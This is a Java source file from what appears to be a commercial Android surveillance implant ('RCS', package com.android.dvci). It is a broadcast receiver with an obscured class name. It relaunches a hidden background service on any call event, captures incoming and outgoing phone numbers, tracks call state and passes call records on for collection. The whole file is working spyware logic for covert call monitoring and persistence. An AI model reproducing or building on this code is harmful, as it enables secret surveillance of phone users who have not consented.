BC.java

/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : BroadcastMonitorCall.java
 * Created      : 6-mag-2011
 * Author		: zeno
 * *******************************************/
//
package com.android.dvci.listener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.TelephonyManager;

import com.android.dvci.Call;
import com.android.dvci.Core;
import com.android.dvci.ServiceMain;
import com.android.dvci.auto.Cfg;
import com.android.dvci.util.Check;

public class BC extends BroadcastReceiver {
	/** The Constant TAG. */
	private static final String TAG = "BroadcastMonitorCall"; //$NON-NLS-1$
	private static Call call = null;
	private Object lastKnownPhoneState;

	/*
	 * (non-Javadoc)
	 * 
	 * @see android.content.BroadcastReceiver#onReceive(android.content.Context,
	 * android.content.Intent)
	 */
	@Override
	public void onReceive(Context context, Intent intent) {

		if (Core.isServiceRunning() == false) {
			Intent serviceIntent = new Intent(context, ServiceMain.class);

			// serviceIntent.setAction(Messages.getString("com.android.service_ServiceCore"));
			context.startService(serviceIntent);

			if (Cfg.DEBUG) {
				Check.log(TAG + " (onReceive): Started from Call"); //$NON-NLS-1$
			}

			return;
		}

		if (intent == null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (onReceive): Intent null"); //$NON-NLS-1$
			}

			return;
		}

		//if (intent != null && intent.getAction().equals(TelephonyManager.ACTION_PHONE_STATE_CHANGED)) {
			manageReceive(context, intent);
		//}

	}

	public void manageReceive(Context context, Intent intent) {
		try {
			String extraIntent = intent.getStringExtra(TelephonyManager.EXTRA_STATE);

			if (Cfg.DEBUG) {
				Check.log(TAG + " (onReceive): extraIntent: " + extraIntent); //$NON-NLS-1$
			}

			if (intent.getAction().equals(Intent.ACTION_NEW_OUTGOING_CALL)) {
				final String number = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);

				// Outgoing phone call
				if (Cfg.DEBUG) {
					Check.log(TAG + " (onReceive): 1 OUTGOING, number: " + number);//$NON-NLS-1$
				}

				call = new Call(number, Call.OUTGOING);
			} else if (extraIntent.equals(TelephonyManager.EXTRA_STATE_RINGING)) {
				// il numero delle chiamate entranti lo abbiamo solo qui
				final String number = intent.getStringExtra(TelephonyManager.EXTRA_INCOMING_NUMBER);

				// Phone is ringing
				if (Cfg.DEBUG) {
					Check.log(TAG + " (onReceive): 2 RINGING, number: " + number);//$NON-NLS-1$
				}

				call = new Call(number, Call.INCOMING);
			} else if (extraIntent.equals(TelephonyManager.EXTRA_STATE_IDLE)) {
				// Call disconnected
				if (Cfg.DEBUG) {
					Check.log(TAG + " (onReceive): 3 IDLE -> END");
				}

				if (call != null) {
					if (call.isIncoming()) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (onReceive) RECEIVING CALL");
						}

					} else {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (onReceive) ENDING OUTGOING CALL"); // don't
																					// know
																					// if
																					// answered..
						}

					}
					call.setOngoing(false);
					call.setComplete(true);
				} else {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (manageReceive) null call, don't propagate");
					}
					return;
				}
			} else if (extraIntent.equals(TelephonyManager.EXTRA_STATE_OFFHOOK)) {
				// Qui la chiamata e' davvero in corso
				// Call answered, or issuing new outgoing call
				if (Cfg.DEBUG) {
					Check.log(TAG + " (onReceive): 4 OFFHOOK");//$NON-NLS-1$
					Check.asserts(call != null, " (onReceive) Assert failed: call null");
				}

				if (call != null) {
					// call.setComplete(true);
					if (Cfg.DEBUG) {
						Check.log(TAG + " (onReceive): 4 OFFHOOK, call ready");//$NON-NLS-1$
					}
					call.setOngoing(true);
					call.setOffhook();
				}

				//call = new Call("", Call.OUTGOING, Call.START); //$NON-NLS-1$
			} else {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (onReceive): default, assume END");//$NON-NLS-1$
				}
				if (Cfg.DEBUG) {
					Check.asserts(call != null, " (onReceive) Assert failed: call null");
				}
				if (call != null) {
					call.setOngoing(false);
					call.setComplete(false);
				}

				return;
			}

			// Caller/Callee number, incoming?/outgoing, in
			// progress?/disconnected
			if (call != null && call.changedState()) {
				ListenerCall.self().dispatch(call);
			}
		} catch (Exception ex) {
			if (Cfg.EXCEPTION) {
				Check.log(TAG + " (onReceive) Error: " + ex);
			}
		}
	}
}